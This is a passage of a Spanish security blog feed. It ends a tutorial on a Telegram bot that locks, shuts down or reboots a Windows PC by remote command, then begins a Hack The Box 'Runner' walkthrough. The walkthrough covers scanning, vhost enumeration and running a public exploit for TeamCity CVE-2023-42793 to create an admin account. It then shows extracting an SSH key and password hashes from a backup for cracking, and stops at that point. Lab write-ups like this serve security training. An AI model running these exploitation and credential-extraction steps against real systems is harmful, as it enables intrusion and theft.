<p>En esta parte del script se creará el decorador, el cual sirve para modificar o extender el funcionamiento de una función o clase sin modificar directamente el código. Lo que hará este decorador será validar si quien intenta entrar en tu ChatBot está autorizado o no, para mayor seguridad</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="k">def</span> <span class="nf">authorized_only</span><span class="p">(</span><span class="n">func</span><span class="p">):</span>
        <span class="o">@</span><span class="n">wraps</span><span class="p">(</span><span class="n">func</span><span class="p">)</span>
        <span class="k">async</span> <span class="k">def</span> <span class="nf">wrapped</span><span class="p">(</span><span class="n">update</span><span class="p">,</span> <span class="n">context</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
            <span class="n">user_id</span> <span class="o">=</span> <span class="n">update</span><span class="p">.</span><span class="n">effective_user</span><span class="p">.</span><span class="nb">id</span>  
            <span class="k">if</span> <span class="n">user_id</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">AUTHORIZED_USERS</span><span class="p">:</span> 
                <span class="k">await</span> <span class="n">update</span><span class="p">.</span><span class="n">message</span><span class="p">.</span><span class="n">reply_text</span><span class="p">(</span><span class="s">'❌No tienes permiso para usar este comando❌'</span><span class="p">)</span>
                <span class="k">return</span>  
            <span class="k">return</span> <span class="k">await</span> <span class="n">func</span><span class="p">(</span><span class="n">update</span><span class="p">,</span> <span class="n">context</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>  
        <span class="k">return</span> <span class="n">wrapped</span> 
</code></pre></div></div>

<p><br /></p>

<h3 id="4--funciones-de-control-del-sistema-operativo--"><strong>4- Funciones de Control del Sistema Operativo  :</strong></h3>
<p>En esta sección están los comandos que ejecutará el sistema a través de las órdenes que reciba del bot.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="o">@</span><span class="n">authorized_only</span>
    <span class="k">async</span> <span class="k">def</span> <span class="nf">lock_screen</span><span class="p">(</span><span class="n">update</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
        <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'rundll32.exe user32.dll,LockWorkStation'</span><span class="p">)</span>
        <span class="k">await</span> <span class="n">update</span><span class="p">.</span><span class="n">message</span><span class="p">.</span><span class="n">reply_text</span><span class="p">(</span><span class="s">'Pantalla bloqueada.'</span><span class="p">)</span>

    <span class="o">@</span><span class="n">authorized_only</span>
    <span class="k">async</span> <span class="k">def</span> <span class="nf">shutdown</span><span class="p">(</span><span class="n">update</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
        <span class="k">await</span> <span class="n">update</span><span class="p">.</span><span class="n">message</span><span class="p">.</span><span class="n">reply_text</span><span class="p">(</span><span class="s">'Apagando el PC...'</span><span class="p">)</span>
        <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'shutdown /s /t 0'</span><span class="p">)</span>

    <span class="o">@</span><span class="n">authorized_only</span>
    <span class="k">async</span> <span class="k">def</span> <span class="nf">reboot</span><span class="p">(</span><span class="n">update</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
        <span class="k">await</span> <span class="n">update</span><span class="p">.</span><span class="n">message</span><span class="p">.</span><span class="n">reply_text</span><span class="p">(</span><span class="s">'Reiniciando el PC...'</span><span class="p">)</span>
        <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'shutdown /r /t 0'</span><span class="p">)</span>

</code></pre></div></div>

<p>Básicamente, estas son 3 funciones asíncronas: la primera bloquea la pantalla del ordenador, la segunda apaga el sistema Windows y la tercera reinicia el sistema. Para poder usar estas funciones, se aplica el decorador <strong>(@authorized_only)</strong> para no repetir código y hacerlo más eficiente.<br /></p>

<h3 id="5--función-de-información-del-bot"><strong>5- Función de Información del Bot:</strong></h3>
<p>Esta sección del código hace que el bot creado anteriormente te mande los comandos de cómo usar sus funciones predeterminadas.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="o">@</span><span class="n">authorized_only</span>
    <span class="k">async</span> <span class="k">def</span> <span class="nf">info</span><span class="p">(</span><span class="n">update</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
        <span class="k">await</span> <span class="n">update</span><span class="p">.</span><span class="n">message</span><span class="p">.</span><span class="n">reply_text</span><span class="p">(</span><span class="s">"""
        📡 Command &amp; Control 📡
                                        
        🖥️ Suspender pantalla: /lock
        📴 Apagar PC: /shutdown
        🔄 Reiniciar PC: /reboot
        ⏭️ info: /start

        Usa estos comandos para 
        controlar tu PC de manera remota.
        """</span><span class="p">)</span>

</code></pre></div></div>
<p>Esta parte del código simplemente hace que, cuando tú inicias el bot <strong>/info</strong>, automáticamente te enviará las funciones preprogramadas que tiene para poder empezar a utilizarlo  <br /></p>

<h3 id="6--función-de-información-del-bot"><strong>6- Función de Información del Bot:</strong></h3>
<p>Esta es la última parte del código, la cual permite la interacción con el bot a través de comandos, asegurando un buen funcionamiento.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
          <span class="n">application</span> <span class="o">=</span> <span class="n">Application</span><span class="p">.</span><span class="n">builder</span><span class="p">().</span><span class="n">token</span><span class="p">(</span><span class="n">TOKEN</span><span class="p">).</span><span class="n">build</span><span class="p">()</span>

          <span class="n">application</span><span class="p">.</span><span class="n">add_handler</span><span class="p">(</span><span class="n">CommandHandler</span><span class="p">(</span><span class="s">'lock'</span><span class="p">,</span> <span class="n">lock_screen</span><span class="p">))</span>
          <span class="n">application</span><span class="p">.</span><span class="n">add_handler</span><span class="p">(</span><span class="n">CommandHandler</span><span class="p">(</span><span class="s">'shutdown'</span><span class="p">,</span> <span class="n">shutdown</span><span class="p">))</span>
          <span class="n">application</span><span class="p">.</span><span class="n">add_handler</span><span class="p">(</span><span class="n">CommandHandler</span><span class="p">(</span><span class="s">'reboot'</span><span class="p">,</span> <span class="n">reboot</span><span class="p">))</span>    
          <span class="n">application</span><span class="p">.</span><span class="n">add_handler</span><span class="p">(</span><span class="n">CommandHandler</span><span class="p">(</span><span class="s">'start'</span><span class="p">,</span> <span class="n">info</span><span class="p">))</span> 
          

          <span class="n">application</span><span class="p">.</span><span class="n">run_polling</span><span class="p">()</span>

      <span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
          <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>
<p>Se crea la función main, la cual en el primer paso establece la conexión necesaria con la API de Telegram utilizando el token. Las demás opciones son los comandos que tendrás que usar para que responda el bot. Por ejemplo, para reiniciar el PC tendrás que escribir en el <strong>chatbot</strong> <strong>/reboot</strong>, y el bot cogerá la función reboot y reiniciará el PC.</p>

<p>En el caso de que no hayas sabido hacer el script, te dejo el link a mi <a href="https://github.com/0x832/Command-Control">GitHub</a>, para que puedas descargarlo y utilizar el programa sin problemas.</p>

<h1 id="hasta-aquí-llega-nuestro-artículo-explicativo-sobre-cómo-crear-commandcontrol">Hasta aquí llega nuestro artículo explicativo sobre cómo crear Command&amp;control.</h1>

<p>Espero que les haya servido la explicación y que haya sido clara. No olviden seguirme en <a href="https://github.com/0x832/">GitHub</a>, ya que iré subiendo nuevos repositorios.</p>]]></content><author><name>0x832</name></author><category term="Programación" /><category term="Python" /><category term="Programación" /><category term="Telegram bot" /><summary type="html"><![CDATA[Hola a todos, hoy les presentaré un pequeño script en Python que desarrollé hace unos días, llamado Command and Control. Su función principal es permitir la ejecución remota de diferentes funciones del sistema Windows a través de un bot de Telegram.]]></summary></entry><entry><title type="html">Runner - Medium</title><link href="https://0x832.io/runner-medium/" rel="alternate" type="text/html" title="Runner - Medium" /><published>2024-08-13T00:00:00+00:00</published><updated>2024-08-13T00:00:00+00:00</updated><id>https://0x832.io/runner-medium</id><content type="html" xml:base="https://0x832.io/runner-medium/"><![CDATA[<p><img src="/assets/images/2024-08-07-runner-medium/Runner.png" alt="" /></p>

<p>Hola a todos, hoy les presentaré la resolución de una máquina <strong>Hack the box de dificultad Media</strong>. En esta máquina aprenderemos a explotar una vulnerabilidad en <strong>TeamCity 2023.05.3</strong> para posteriormente conectarnos por <strong>SSH</strong> y llegar a ser <strong>root aprovechando una versión obsoleta de runC (versión 1.1.7).</strong></p>

<p><br /></p>

<h1 id="reconocimiento">Reconocimiento</h1>
<ul>
  <li>
    <p>Enumeración con nmap
  Hacemos un <code class="language-plaintext highlighter-rouge">nmap</code> simple para ver los puertos que corren en la máquina</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1"># nmap -p- -sS --min-rate 5000 -T5 -Pn -vvv -oN nmap.txt 10.10.11.13
</span>  <span class="n">Increasing</span> <span class="n">send</span> <span class="n">delay</span> <span class="k">for</span> <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.13</span> <span class="k">from</span> <span class="mi">0</span> <span class="n">to</span> <span class="mi">5</span> <span class="n">due</span> <span class="n">to</span> <span class="mi">1097</span> <span class="n">out</span> <span class="n">of</span> <span class="mi">2741</span> <span class="n">dropped</span> <span class="n">probes</span> <span class="n">since</span> <span class="n">last</span> <span class="n">increase</span><span class="p">.</span>
  <span class="nb">Warning</span><span class="p">:</span> <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.13</span> <span class="n">giving</span> <span class="n">up</span> <span class="n">on</span> <span class="n">port</span> <span class="n">because</span> <span class="n">retransmission</span> <span class="n">cap</span> <span class="n">hit</span> <span class="p">(</span><span class="mi">2</span><span class="p">).</span>
  <span class="n">Nmap</span> <span class="n">scan</span> <span class="n">report</span> <span class="k">for</span> <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.13</span>
  <span class="n">Host</span> <span class="ow">is</span> <span class="n">up</span><span class="p">,</span> <span class="n">received</span> <span class="n">user</span><span class="o">-</span><span class="nb">set</span> <span class="p">(</span><span class="mf">0.34</span><span class="n">s</span> <span class="n">latency</span><span class="p">).</span>
  <span class="n">Scanned</span> <span class="n">at</span> <span class="mi">2024</span><span class="o">-</span><span class="mi">08</span><span class="o">-</span><span class="mi">13</span> <span class="mi">22</span><span class="p">:</span><span class="mi">25</span><span class="p">:</span><span class="mi">19</span> <span class="n">CEST</span> <span class="k">for</span> <span class="mi">38</span><span class="n">s</span>
  <span class="n">Not</span> <span class="n">shown</span><span class="p">:</span> <span class="mi">65532</span> <span class="n">closed</span> <span class="n">tcp</span> <span class="n">ports</span> <span class="p">(</span><span class="n">reset</span><span class="p">)</span>
  <span class="n">PORT</span>     <span class="n">STATE</span> <span class="n">SERVICE</span>  <span class="n">REASON</span>
  <span class="mi">22</span><span class="o">/</span><span class="n">tcp</span>   <span class="nb">open</span>  <span class="n">ssh</span>      <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">63</span>
  <span class="mi">80</span><span class="o">/</span><span class="n">tcp</span>   <span class="nb">open</span>  <span class="n">http</span>     <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">63</span>
  <span class="mi">8000</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">http</span><span class="o">-</span><span class="n">alt</span> <span class="n">syn</span><span class="o">-</span><span class="n">ack</span> <span class="n">ttl</span> <span class="mi">63</span>
    
  <span class="n">Read</span> <span class="n">data</span> <span class="n">files</span> <span class="k">from</span><span class="p">:</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">nmap</span>
</code></pre></div>    </div>

    <p>Una vez tenemos los puertos que en este caso como podemos ver es el <code class="language-plaintext highlighter-rouge">22(ssh)</code> , el <code class="language-plaintext highlighter-rouge">80(http)</code> y el <code class="language-plaintext highlighter-rouge">8000(HTTP Alternative)</code>.</p>

    <p>Aplicamos un <code class="language-plaintext highlighter-rouge">nmap</code> más exhaustivo a dichos puertos</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1"># nmap -p22,80,8000 -sVC -v -oN port.txt 10.10.11.13
</span>  <span class="n">Nmap</span> <span class="n">scan</span> <span class="n">report</span> <span class="k">for</span> <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.13</span>
  <span class="n">Host</span> <span class="ow">is</span> <span class="n">up</span> <span class="p">(</span><span class="mf">0.54</span><span class="n">s</span> <span class="n">latency</span><span class="p">).</span>
    
  <span class="n">PORT</span>     <span class="n">STATE</span> <span class="n">SERVICE</span>     <span class="n">VERSION</span>
  <span class="mi">22</span><span class="o">/</span><span class="n">tcp</span>   <span class="nb">open</span>  <span class="n">ssh</span>         <span class="n">OpenSSH</span> <span class="mf">8.9</span><span class="n">p1</span> <span class="n">Ubuntu</span> <span class="mi">3</span><span class="n">ubuntu0</span><span class="p">.</span><span class="mi">6</span> <span class="p">(</span><span class="n">Ubuntu</span> <span class="n">Linux</span><span class="p">;</span> <span class="n">protocol</span> <span class="mf">2.0</span><span class="p">)</span>
  <span class="o">|</span> <span class="n">ssh</span><span class="o">-</span><span class="n">hostkey</span><span class="p">:</span>
  <span class="o">|</span>   <span class="mi">256</span> <span class="mi">3</span><span class="n">e</span><span class="p">:</span><span class="n">ea</span><span class="p">:</span><span class="mi">45</span><span class="p">:</span><span class="mi">4</span><span class="n">b</span><span class="p">:</span><span class="n">c5</span><span class="p">:</span><span class="n">d1</span><span class="p">:</span><span class="mi">6</span><span class="n">d</span><span class="p">:</span><span class="mi">6</span><span class="n">f</span><span class="p">:</span><span class="n">e2</span><span class="p">:</span><span class="n">d4</span><span class="p">:</span><span class="n">d1</span><span class="p">:</span><span class="mi">3</span><span class="n">b</span><span class="p">:</span><span class="mi">0</span><span class="n">a</span><span class="p">:</span><span class="mi">3</span><span class="n">d</span><span class="p">:</span><span class="n">a9</span><span class="p">:</span><span class="mi">4</span><span class="n">f</span> <span class="p">(</span><span class="n">ECDSA</span><span class="p">)</span>
  <span class="o">|</span><span class="n">_</span>  <span class="mi">256</span> <span class="mi">64</span><span class="p">:</span><span class="n">cc</span><span class="p">:</span><span class="mi">75</span><span class="p">:</span><span class="n">de</span><span class="p">:</span><span class="mi">4</span><span class="n">a</span><span class="p">:</span><span class="n">e6</span><span class="p">:</span><span class="n">a5</span><span class="p">:</span><span class="n">b4</span><span class="p">:</span><span class="mi">73</span><span class="p">:</span><span class="n">eb</span><span class="p">:</span><span class="mi">3</span><span class="n">f</span><span class="p">:</span><span class="mi">1</span><span class="n">b</span><span class="p">:</span><span class="n">cf</span><span class="p">:</span><span class="n">b4</span><span class="p">:</span><span class="n">e3</span><span class="p">:</span><span class="mi">94</span> <span class="p">(</span><span class="n">ED25519</span><span class="p">)</span>
  <span class="mi">80</span><span class="o">/</span><span class="n">tcp</span>   <span class="nb">open</span>  <span class="n">http</span>        <span class="n">nginx</span> <span class="mf">1.18</span><span class="p">.</span><span class="mi">0</span> <span class="p">(</span><span class="n">Ubuntu</span><span class="p">)</span>
  <span class="o">|</span> <span class="n">http</span><span class="o">-</span><span class="n">methods</span><span class="p">:</span>
  <span class="o">|</span><span class="n">_</span>  <span class="n">Supported</span> <span class="n">Methods</span><span class="p">:</span> <span class="n">GET</span> <span class="n">HEAD</span> <span class="n">POST</span> <span class="n">OPTIONS</span>
  <span class="o">|</span><span class="n">_http</span><span class="o">-</span><span class="n">title</span><span class="p">:</span> <span class="n">Did</span> <span class="ow">not</span> <span class="n">follow</span> <span class="n">redirect</span> <span class="n">to</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">runner</span><span class="p">.</span><span class="n">htb</span><span class="o">/</span>
  <span class="o">|</span><span class="n">_http</span><span class="o">-</span><span class="n">server</span><span class="o">-</span><span class="n">header</span><span class="p">:</span> <span class="n">nginx</span><span class="o">/</span><span class="mf">1.18</span><span class="p">.</span><span class="mi">0</span> <span class="p">(</span><span class="n">Ubuntu</span><span class="p">)</span>
  <span class="mi">8000</span><span class="o">/</span><span class="n">tcp</span> <span class="nb">open</span>  <span class="n">nagios</span><span class="o">-</span><span class="n">nsca</span> <span class="n">Nagios</span> <span class="n">NSCA</span>
  <span class="o">|</span><span class="n">_http</span><span class="o">-</span><span class="n">title</span><span class="p">:</span> <span class="n">Site</span> <span class="n">doesn</span><span class="s">'t have a title (text/plain; charset=utf-8).
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
  Read data files from: /usr/bin/../share/nmap
</span></code></pre></div>    </div>

    <p>Podemos ver que se aplica un <code class="language-plaintext highlighter-rouge">follow redirecta</code> <strong>http://runner.htb/ así que lo añadiremos al <code class="language-plaintext highlighter-rouge">/etc/hosts</code></strong></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.13</span> <span class="n">runner</span><span class="p">.</span><span class="n">htb</span>
</code></pre></div>    </div>

    <h1 id="ahora-accedemos-a-la-web-para-poder-determinar-que-clase-de-vulnerabilidades-podemos-encontrar">Ahora accedemos a la web para poder determinar que clase de vulnerabilidades podemos encontrar</h1>

    <p>Accedemos a la web por el puerto 80 encontramos esto, si miramos en <code class="language-plaintext highlighter-rouge">Home, About, Service</code> no hay nada interesante</p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image.png" alt="image.png" /></p>

    <p>Si intentamos mirar por <code class="language-plaintext highlighter-rouge">'subdominios o rutas</code>’ no encontramos anda así que aplicaremos este comando de aquí.</p>

    <p>Lo que hará este comando será crear una lista de palabras personalizada a partir del contenido de una página web</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">cewl</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">runner</span><span class="p">.</span><span class="n">htb</span><span class="o">/</span> <span class="o">|</span> <span class="n">grep</span> <span class="o">-</span><span class="n">v</span> <span class="n">CeWL</span> <span class="o">&gt;</span> <span class="n">words_runner</span><span class="p">.</span><span class="n">tx</span>
</code></pre></div>    </div>

    <p>Una vez creada la <code class="language-plaintext highlighter-rouge">wordlist</code> de palabras, podemos intentar escanear <code class="language-plaintext highlighter-rouge">subdominios</code> con esta lista y encontramos <code class="language-plaintext highlighter-rouge">TeamCity.runner.htb</code></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">gobuster</span> <span class="n">vhost</span> <span class="o">-</span><span class="n">w</span> <span class="n">words_runner</span><span class="p">.</span><span class="n">txt</span> <span class="o">-</span><span class="n">u</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">runner</span><span class="p">.</span><span class="n">htb</span> <span class="o">-</span><span class="n">H</span> <span class="s">"hosts: FUZZ.runnter.htb"</span> <span class="o">--</span><span class="n">append</span><span class="o">-</span><span class="n">domain</span>
  <span class="o">===============================================================</span>
  <span class="n">Gobuster</span> <span class="n">v3</span><span class="p">.</span><span class="mi">6</span>
  <span class="n">by</span> <span class="n">OJ</span> <span class="n">Reeves</span> <span class="p">(</span><span class="o">@</span><span class="n">TheColonial</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">Christian</span> <span class="n">Mehlmauer</span> <span class="p">(</span><span class="o">@</span><span class="n">firefart</span><span class="p">)</span>
  <span class="o">===============================================================</span>
  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Url</span><span class="p">:</span>             <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">runner</span><span class="p">.</span><span class="n">htb</span>
  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Method</span><span class="p">:</span>          <span class="n">GET</span>
  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Threads</span><span class="p">:</span>         <span class="mi">10</span>
  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Wordlist</span><span class="p">:</span>        <span class="n">words_runner</span><span class="p">.</span><span class="n">txt</span>
  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">User</span> <span class="n">Agent</span><span class="p">:</span>      <span class="n">gobuster</span><span class="o">/</span><span class="mf">3.6</span>
  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Timeout</span><span class="p">:</span>         <span class="mi">10</span><span class="n">s</span>
  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Append</span> <span class="n">Domain</span><span class="p">:</span>   <span class="n">true</span>
  <span class="o">===============================================================</span>
  <span class="n">Starting</span> <span class="n">gobuster</span> <span class="ow">in</span> <span class="n">VHOST</span> <span class="n">enumeration</span> <span class="n">mode</span>
  <span class="o">===============================================================</span>
  <span class="n">Found</span><span class="p">:</span> <span class="n">TeamCity</span><span class="p">.</span><span class="n">runner</span><span class="p">.</span><span class="n">htb</span> <span class="n">Status</span><span class="p">:</span> <span class="mi">401</span> <span class="p">[</span><span class="n">Size</span><span class="p">:</span> <span class="mi">66</span><span class="p">]</span>
  <span class="n">Progress</span><span class="p">:</span> <span class="mi">285</span> <span class="o">/</span> <span class="mi">286</span> <span class="p">(</span><span class="mf">99.65</span><span class="o">%</span><span class="p">)</span>
  <span class="o">===============================================================</span>
  <span class="n">Finished</span>
  <span class="o">===============================================================</span>
</code></pre></div>    </div>

    <p>Añadiremos <code class="language-plaintext highlighter-rouge">TeamCity.runner.htb</code> a nuestro <code class="language-plaintext highlighter-rouge">/etc/hosts</code></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="mf">10.10</span><span class="p">.</span><span class="mf">11.13</span> <span class="n">runner</span><span class="p">.</span><span class="n">htb</span> <span class="n">TeamCity</span><span class="p">.</span><span class="n">runner</span><span class="p">.</span><span class="n">htb</span>
</code></pre></div>    </div>

    <p>Si ahora vamos al navegador y ponemos el subdominio encontrado anteriormente ,encontraremos este <code class="language-plaintext highlighter-rouge">login</code> , pero nos llama la atención la versión de <code class="language-plaintext highlighter-rouge">TeamCity v2023.05.3</code></p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image%201.png" alt="image.png" /></p>

    <p>Si buscamos en <code class="language-plaintext highlighter-rouge">searchsploit</code> encontramos que es vulnerable</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   <span class="n">searchsploit</span> <span class="n">TeamCity</span> <span class="mf">2023.05</span><span class="p">.</span><span class="mi">3</span>
  <span class="o">------------------------------------------------------------------------------------------------------------------------------------</span> <span class="o">---------------------------------</span>
   <span class="n">Exploit</span> <span class="n">Title</span>                                                                                                                      <span class="o">|</span>  <span class="n">Path</span>
  <span class="o">------------------------------------------------------------------------------------------------------------------------------------</span> <span class="o">---------------------------------</span>
  <span class="n">JetBrains</span> <span class="n">TeamCity</span> <span class="mf">2023.05</span><span class="p">.</span><span class="mi">3</span> <span class="o">-</span> <span class="n">Remote</span> <span class="n">Code</span> <span class="n">Execution</span> <span class="p">(</span><span class="n">RCE</span><span class="p">)</span>                                                                          <span class="o">|</span> <span class="n">java</span><span class="o">/</span><span class="n">remote</span><span class="o">/</span><span class="mf">51884.</span><span class="n">py</span>
  <span class="o">------------------------------------------------------------------------------------------------------------------------------------</span> <span class="o">---------------------------------</span>
</code></pre></div>    </div>

    <p>Así que nos descargaremos el <code class="language-plaintext highlighter-rouge">exploit</code></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">searchsploit</span> <span class="n">TeamCity</span> <span class="mf">2023.05</span><span class="p">.</span><span class="mi">3</span> <span class="o">-</span><span class="n">m</span> <span class="n">java</span><span class="o">/</span><span class="n">remote</span><span class="o">/</span><span class="mf">51884.</span><span class="n">py</span>
</code></pre></div>    </div>

    <h1 id="explotación-de-teamcity-2023053">Explotación de TeamCity 2023.05.3</h1>

    <p>Ejecutamos el <code class="language-plaintext highlighter-rouge">exploit</code> y nos da un usuario y <code class="language-plaintext highlighter-rouge">password</code></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">python3</span> <span class="mf">51884.</span><span class="n">py</span> <span class="o">-</span><span class="n">u</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">teamcity</span><span class="p">.</span><span class="n">runner</span><span class="p">.</span><span class="n">htb</span>
    
  <span class="o">=====================================================</span>
  <span class="o">*</span>       <span class="n">CVE</span><span class="o">-</span><span class="mi">2023</span><span class="o">-</span><span class="mi">42793</span>                              <span class="o">*</span>
  <span class="o">*</span>  <span class="n">TeamCity</span> <span class="n">Admin</span> <span class="n">Account</span> <span class="n">Creation</span>                  <span class="o">*</span>
  <span class="o">*</span>                                                   <span class="o">*</span>
  <span class="o">*</span>  <span class="n">Author</span><span class="p">:</span> <span class="n">ByteHunter</span>                               <span class="o">*</span>
  <span class="o">=====================================================</span>
    
  <span class="n">Token</span><span class="p">:</span> <span class="n">eyJ0eXAiOiAiVENWMiJ9</span><span class="p">.</span><span class="n">T3RudmdKTVdZT29nZkp4MndSdlBwanZfVmRF</span><span class="p">.</span><span class="n">N2VhMDk0ZjktMGM2MS00OWE1LTkyZGQtZDllMmJhMjFiNTU1</span>
  <span class="n">Successfully</span> <span class="n">exploited</span><span class="err">!</span>
  <span class="n">URL</span><span class="p">:</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">teamcity</span><span class="p">.</span><span class="n">runner</span><span class="p">.</span><span class="n">htb</span>
  <span class="n">Username</span><span class="p">:</span> <span class="n">city_admind2GF</span>
  <span class="n">Password</span><span class="p">:</span> <span class="n">Main_password</span><span class="err">!!</span><span class="o">**</span>
</code></pre></div>    </div>

    <p>Una vez tenemos la <code class="language-plaintext highlighter-rouge">contraseña</code> y <code class="language-plaintext highlighter-rouge">usuario</code> podemos <strong>iniciar sesión</strong>, una vez iniciemos sesión seremos <code class="language-plaintext highlighter-rouge">admin</code> así que tenemos la capacidad de descargar <code class="language-plaintext highlighter-rouge">backup</code></p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image%202.png" alt="image.png" /></p>

    <p>Nos dirigiremos <code class="language-plaintext highlighter-rouge">administración</code> y le daremos a la sección de <code class="language-plaintext highlighter-rouge">backup</code>. Una vez hecho esto le daremos al botón <code class="language-plaintext highlighter-rouge">Start Backup</code> y nos saldrá un <code class="language-plaintext highlighter-rouge">.zip</code> que nos podemos descargar</p>

    <p><img src="/assets/images/2024-08-07-runner-medium/image%203.png" alt="image.png" /></p>

    <p>Una vez descargado , <code class="language-plaintext highlighter-rouge">unzipearemos</code> el <code class="language-plaintext highlighter-rouge">.zip</code> para poder ver que encontramos en ese <code class="language-plaintext highlighter-rouge">backup</code>.</p>

    <p>Dentro del <code class="language-plaintext highlighter-rouge">backup</code> encontramos estos</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">charset</span>  <span class="n">config</span>  <span class="n">database_dump</span>  <span class="n">export</span><span class="p">.</span><span class="n">report</span>  <span class="n">metadata</span>  <span class="n">system</span>  <span class="n">version</span><span class="p">.</span><span class="n">txt</span>
</code></pre></div>    </div>

    <p>Al explorar el contenido de las carpetas, encontramos una ruta que almacena un archivo <strong><code class="language-plaintext highlighter-rouge">id_rsa</code></strong>, el cual podríamos intentar utilizar para conectarnos por <code class="language-plaintext highlighter-rouge">SSH</code>.</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">config</span><span class="o">/</span><span class="n">projects</span><span class="o">/</span><span class="n">AllProjects</span><span class="o">/</span><span class="n">pluginData</span><span class="o">/</span><span class="n">ssh_keys</span>
</code></pre></div>    </div>

    <p>Pero aún nos queda saber con qué usuario nos conectaremos.
  Nos dirigimos a la carpeta <code class="language-plaintext highlighter-rouge">database_dump</code> y encontramos un archivo llamado <code class="language-plaintext highlighter-rouge">users</code>, el cual llama bastante nuestra atención. Si usamos <code class="language-plaintext highlighter-rouge">cat</code> para ver su contenido, observamos hashes que podríamos intentar descifrar con <code class="language-plaintext highlighter-rouge">John</code></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">ID</span><span class="p">,</span> <span class="n">USERNAME</span><span class="p">,</span> <span class="n">PASSWORD</span><span class="p">,</span> <span class="n">NAME</span><span class="p">,</span> <span class="n">EMAIL</span><span class="p">,</span> <span class="n">LAST_LOGIN_TIMESTAMP</span><span class="p">,</span> <span class="n">ALGORITHM</span>
  <span class="mi">1</span><span class="p">,</span> <span class="n">admin</span><span class="p">,</span> <span class="err">$</span><span class="mi">2</span><span class="n">a</span><span class="err">$</span><span class="mi">07</span><span class="err">$</span><span class="n">neV5T</span><span class="o">/</span><span class="n">BlEDiMQUs</span><span class="p">.</span><span class="n">gM1p4uYl8xl8kvNUo4</span><span class="o">/</span><span class="mi">8</span><span class="n">Aja2sAWHAQLWqufye</span><span class="p">,</span> <span class="n">John</span><span class="p">,</span> <span class="n">john</span><span class="o">@</span><span class="n">runner</span><span class="p">.</span><span class="n">htb</span><span class="p">,</span> <span class="mi">1723754735147</span><span class="p">,</span> <span class="n">BCRYPT</span>
